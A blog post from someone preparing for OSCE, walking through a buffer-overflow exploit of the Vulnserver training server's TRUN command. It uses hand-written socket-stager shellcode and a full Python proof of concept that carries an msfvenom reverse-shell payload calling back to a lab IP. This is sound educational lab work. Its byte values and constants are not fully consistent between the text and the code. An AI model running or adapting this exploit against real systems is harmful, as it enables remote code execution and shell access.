Exploiting Vulnserver TRUN command using Socket Reconstruction technique

Its been a considerable amount of time since my last OSCE review blog post. ( it does deserve few weeks of rest! uff! ) In this article we will look at how to exploit Vulnserver TRUN command which is vulnerable to buffer overflow using one of the technique that i learnt during preparation for OSCE. We will look at how to exploit Vulnserver using socket reconstruction which involves sending two stager payload.

What will not be covered in this article ?

Fuzzing vulnserver TRUN command , getting control of EIP are not covered in this article ( which are found nearly everywhere! )

What will be covered in this article?

Writing a custom shellcode which involves recreation of socket functionality and leveraging it to gain a reverse shell.

Some basic prerequisite information :

Anatomy of calling a x86 windows syscall :

In x86 windows, calling a syscall requires us to follow the following process.for example lets consider we need to call the following syscall :

syscallExA(Parameter A , Parameter B) 

in order to call syscallExA , we need to first push the required parameters to stack in reverse order .( that is push B then push A ) . Finally we need to move the address of syscallExA onto a register , then finally CALL the register.

It can be pictured as follows ,

 PUSH B

PUSH A

MOV EAX, address of syscallExA

CALL EAX

and after the syscall executes , return value is stored in EAX register.

What is socket reconstruction technique?

Socket reconstruction technique leverages the fact that in certain client – server application , it would have already loaded the socket related DLL file required onto its memory . This can further be used for exploiting a buffer overflow vulnerability on that application . We mimick the server ability to construct a socket from initial stages to listening for incoming connection from attacker. at this point of time, attacker can send his second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.

Note : victim box is windows xp SP3 ( NO ASLR and DEP in consideration )

The flow :

We follow the following plan as follows ,

We overwrite the EIP register with JMP ESP pointer as we know ESP points to our payload.

First stage payload :

> We create a new socket with the help of Socket Syscall found in WS2_32 dll which is already loaded in memory.

 > created socket is then bind to a different port of our choice using bind syscall.

>   We listen on the bind port for incoming connection from attacker using listen syscall.

> Accept the incoming connection using Accept syscall.

 > Finally receive the second stage payload ( reverse shell ) using recv syscall.

Second Stage payload :

Its a  payload of our choice . ( we will use a reverse shell payload from msfvenom )

Before we can Proceed , As noted earlier , we need to know the address of the required socket functions inside WS2_32 DLL file. we can do the following as follows to get it .

1 . In the debugger ( i use immunity debugger ) , rightclick > view > module ‘vulnserv’

2 . rightclick > search for > all intermodular calls 

3 . we will see all intermodular calls from this module to all other modules loaded . look for call to  socket function from ws2_32 dll file .

4. Follow the function in disassembler . and note all the required functions we need for creating our custom shell code .

In our case we need the following addresses for the functions :

0040257C  -FF25 FC614000    JMP DWORD PTR DS:[<&WS2_32.socket>]      ; WS2_32.socket

00402564  -FF25 D8614000    JMP DWORD PTR DS:[<&WS2_32.bind>]        ; WS2_32.bind

00402554  -FF25 F0614000    JMP DWORD PTR DS:[<&WS2_32.listen>]      ; WS2_32.listen

0040254C  -FF25 D4614000    JMP DWORD PTR DS:[<&WS2_32.accept>]      ; WS2_32.accept

0040252C  -FF25 F4614000    JMP DWORD PTR DS:[<&WS2_32.recv>]        ; WS2_32.recv

Lets start with Socket syscall . according to MSDN :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-socket

From the Microsoft Docs ,

SOCKET WSAAPI socket( int af, int type, int protocol );

Function takes three parameters , first one address family  ( 2 for IPv4 ) , second type of socket ( we use 2 (SOCK_STREAM  ) ) , and finally protocol (TCP (6))

so our socket call would be as follows :

socket(2, 1, 6)

We have to push the parameters onto stack in reverse order and finally move the socket function address to a register and finally call the register.

And here is the custom shellcode for the following syscall :

83EC 40          SUB ESP,40 #for moving away from EIP

33C0             XOR EAX,EAX
B0 06            MOV AL,6
50               PUSH EAX
B0 01            MOV AL,1
50               PUSH EAX
40               INC EAX
50               PUSH EAX
BB 777C2540      MOV EBX,40257C77 
C1EB 08          SHR EBX,8
FFD3             CALL EBX
8BF8             MOV EDI,EAX

We see that first we move the ESP to a location far from EIP to prevent stack corruption . We initially clear out register using XOR operation and push the required parameters onto the stack. Finally we move address of socket function onto EBX and call it. Notice we had the function address at 0040257C , since the address contains null ( which is bad for our shellcode! ) , we make use of SHR operation which would shift right by 8 bits and hence reintroduce the required “00” .  finally return address is stored onto EAX register after syscall. we move it to EDI so we can use it further for other operations.

Lets move to the bind syscall :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-bind

According to MSDN, bind accepts three parameters as follows.

bind(socket handle,socket addr struct,16)

Here is the shellcode snippet for the same :

33C0             XOR EAX,EAX
50               PUSH EAX
50               PUSH EAX
54               PUSH ESP
59               POP ECX
C601 02          MOV BYTE PTR DS:[ECX],2 #AF_INET value (2) IPV4
C641 03 14       MOV BYTE PTR DS:[ECX+3],16 #listen on port 22
6A 16            PUSH 16
51               PUSH ECX
B3 64            MOV BL,64
57               PUSH EDI
FFD3             CALL EBX

First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros then finally getting the address of the pushed values onto ECX registers. then we finally manipulate the values stored at ECX. we know that sock addr requires type of address family ( 2 ) and finally port to bind to ( in this case lets choose port 22 , feel free to use any non free port number to bind to ) . we manipulate the values as desired at ECX.

FInally we push the parameters in reverse order. And since all the socket function address are closer to each other and have similar , we just have to modify lower 8 bits of EBX(it currently holds address of socket function ) , BL to 64 and finally call the register.

Listen Syscall :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-listen

int WSAAPI listen( SOCKET s, int backlog );

Listen is relatively simple syscall as it only takes two parameters . socket descriptor and finally a backlog counter.

B3 54            MOV BL,54
6A 7F            PUSH 7F
57               PUSH EDI
FFD3             CALL EBX

Accept syscall :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-accept

SOCKET WSAAPI accept( SOCKET s, sockaddr *addr, int *addrlen );

accept function takes three parameter, in our case we can set last two parameters to null.  accept syscall also return a client socket descriptor that we need for further recv call .

50               PUSH EAX
50               PUSH EAX
57               PUSH EDI
0B3 4C           MOV BL,4C
FFD3             CALL EBX

Recv Syscall :

Finally recv syscall accepts the second stage payload and has the following definition :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv

int recv( SOCKET s, char *buf, int len, int flags );

Recv syscall takes 4 parameters , first one is client socket descriptor which was received from previous accept syscall , followed by address of the location to receive and store the user data followed by its length and finally flags ( we can set it to NULL) .

here is our custom shellcode for this :

8BF8             MOV EDI,EAX
33C0             XOR EAX,EAX
50               PUSH EAX
B4 02            MOV AH,2
50               PUSH EAX
54               PUSH ESP
59               POP ECX
66:83C1 5E       ADD CX,5E
66:83C1 5E       ADD CX,5E
66:83C1 10       ADD CX,10
51               PUSH ECX
57               PUSH EDI
B3 2C            MOV BL,2C
FFD3             CALL EBX

First we zero out and move the FLAGS ( NULL ) onto the stack followed by setting 2 onto AH ( makes length 512 bytes ) and pushing it . Main part of this custom shellcode begins here. we need to push *buff  that is address to receive the second stage shellcode. we will calculate it with reference to ESP position . and we need to also make sure , location to receive the payload should be address ahead of current EIP . so what would happen is , once it executes the recv syscall , our reverse shell payload is received and stored in this location specified by *buff , and EIP continues its execution till it reaches our reverse shell and finally executes it .  Finally we move client sock address received from accept syscall and call it.

This marks the end of our first stage custom shellcode implementing the socket reconstruction . finally , our we send our second stage shellcode after waiting for a second or two to port 22 . and we get our reverse shell .

Second stage shell code can be generated with the help of msfvenom as follows :

msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c

here is the complete PoC for the same :

import os
import socket
import sys
from time import sleep

host= "192.168.0.102"
port= 9999

socket_call = "\x83\xEC\x40\x33\xC0\xB0\x06\x50\xB0\x01\x50\x40\x50\xBB\x77\x7C\x25\x40\xC1\xEB\x08\xFF\xD3\x8B\xF8"

bind_call = "\x33\xC0\x50\x50\x54\x59\xC6\x01\x02\xC6\x41\x03\x16\x6A\x10\x51\xB3\x64\x57\xFF\xD3"

listen_call = "\xB3\x54\x6A\x7F\x57\xFF\xD3"

accept_call = "\x50\x50\x57\xB3\x4C\xFF\xD3"

recv_call = "\x8B\xF8\x33\xC0\x50\xB4\x02\x50\x54\x59\x66\x83\xC1\x5E\x66\x83\xC1\x5E\x66\x83\xC1\x10\x51\x57\xB3\x2C\xFF\xD3"


#msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c

rev_shell = (

"\xb8\xd4\x48\x2c\x12\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xc3\x04\x31\x43\x0e\x03\x97\x46\xce\xe7\xeb\xbf\x8c"
"\x08\x13\x40\xf1\x81\xf6\x71\x31\xf5\x73\x21\x81\x7d\xd1\xce"
"\x6a\xd3\xc1\x45\x1e\xfc\xe6\xee\x95\xda\xc9\xef\x86\x1f\x48"
"\x6c\xd5\x73\xaa\x4d\x16\x86\xab\x8a\x4b\x6b\xf9\x43\x07\xde"
"\xed\xe0\x5d\xe3\x86\xbb\x70\x63\x7b\x0b\x72\x42\x2a\x07\x2d"
"\x44\xcd\xc4\x45\xcd\xd5\x09\x63\x87\x6e\xf9\x1f\x16\xa6\x33"
"\xdf\xb5\x87\xfb\x12\xc7\xc0\x3c\xcd\xb2\x38\x3f\x70\xc5\xff"
"\x3d\xae\x40\x1b\xe5\x25\xf2\xc7\x17\xe9\x65\x8c\x14\x46\xe1"
"\xca\x38\x59\x26\x61\x44\xd2\xc9\xa5\xcc\xa0\xed\x61\x94\x73"
"\x8f\x30\x70\xd5\xb0\x22\xdb\x8a\x14\x29\xf6\xdf\x24\x70\x9f"
"\x2c\x05\x8a\x5f\x3b\x1e\xf9\x6d\xe4\xb4\x95\xdd\x6d\x13\x62"
"\x21\x44\xe3\xfc\xdc\x67\x14\xd5\x1a\x33\x44\x4d\x8a\x3c\x0f"
"\x8d\x33\xe9\x80\xdd\x9b\x42\x61\x8d\x5b\x33\x09\xc7\x53\x6c"
"\x29\xe8\xb9\x05\xc0\x13\x2a\xea\xbd\x1b\xc2\x82\xbf\x1b\x03"
"\x0f\x49\xfd\x49\xbf\x1f\x56\xe6\x26\x3a\x2c\x97\xa7\x90\x49"
"\x97\x2c\x17\xae\x56\xc5\x52\xbc\x0f\x25\x29\x9e\x86\x3a\x87"
"\xb6\x45\xa8\x4c\x46\x03\xd1\xda\x11\x44\x27\x13\xf7\x78\x1e"
"\x8d\xe5\x80\xc6\xf6\xad\x5e\x3b\xf8\x2c\x12\x07\xde\x3e\xea"
"\x88\x5a\x6a\xa2\xde\x34\xc4\x04\x89\xf6\xbe\xde\x66\x51\x56"
"\xa6\x44\x62\x20\xa7\x80\x14\xcc\x16\x7d\x61\xf3\x97\xe9\x65"
"\x8c\xc5\x89\x8a\x47\x4e\xa9\x68\x4d\xbb\x42\x35\x04\x06\x0f"
"\xc6\xf3\x45\x36\x45\xf1\x35\xcd\x55\x70\x33\x89\xd1\x69\x49"
"\x82\xb7\x8d\xfe\xa3\x9d"
)
#625011af

buffer = 'TRUN .' +"A"*2006 + "\xaf\x11\x50\x62"+"\x90"*20+ socket_call+ bind_call+listen_call+accept_call+recv_call+"\x90"*(351-len(socket_call)-len(bind_call)-len(accept_call)-len(listen_call)-len(recv_call))+"\x90"*15+'\r\n'

final_payload = "\x90"*10 + rev_shell

conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect((host,port))

print conn.recv(1024)

print "sending stager 1 payload "
conn.send((buffer))

print "sleeping for few seconds..."
sleep(1)
print "connecting to bind socket on port 22.."

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((host,22))
print "sending final payload ! set your netcat listener!"
con.send(final_payload)
con.close()

Execute and finally get a reverse shell .

My Github repo containing The POC and other resources :

https://github.com/strikergoutham/OSCE-preparation/blob/master/vulnserver/

And all the technique credits goes to this source!

https://buffered.io/posts/idsecconf-2013-myftpd-challenge/

 

Hope you enjoyed this article . Until next time! 🙂 good day!

Leave a Reply

Your email address will not be published. Required fields are marked *